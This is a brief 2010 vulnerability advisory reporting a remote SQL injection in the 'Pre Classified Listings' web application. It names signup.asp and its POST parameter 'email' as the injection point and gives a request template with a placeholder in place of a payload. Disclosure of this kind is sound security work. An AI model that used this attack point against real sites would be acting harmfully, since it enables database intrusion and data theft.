Pre Classified Listings – SQL Injection
================================================================= [~] Pre Classified Listings Remote SQL Injection Vulnerability ================================================================= ########################################################## ## Author: Crux ## Homepage: http://hack-tech.com ## Date: 2-27-2010 ## Software Link: http://www.preprojects.com/businesslisting.asp ## Version: N/A ########################################################## [ SQLi ] --------------------------------- // This vulnerability affects signup.asp // Can be exploited VIA the POST variable 'email' [#] Exploit / POC: full_name=111-222-1933email@address.tst&email=${SQLINJECTIONHERE}&pass=test&ad dress=3137%20Laguna%20Street&phone=555-666-0606&state=0&hide_email=on&url_add= 111-222-1933email@address.tst&Submit=SignUp&addit=start ================================================================= |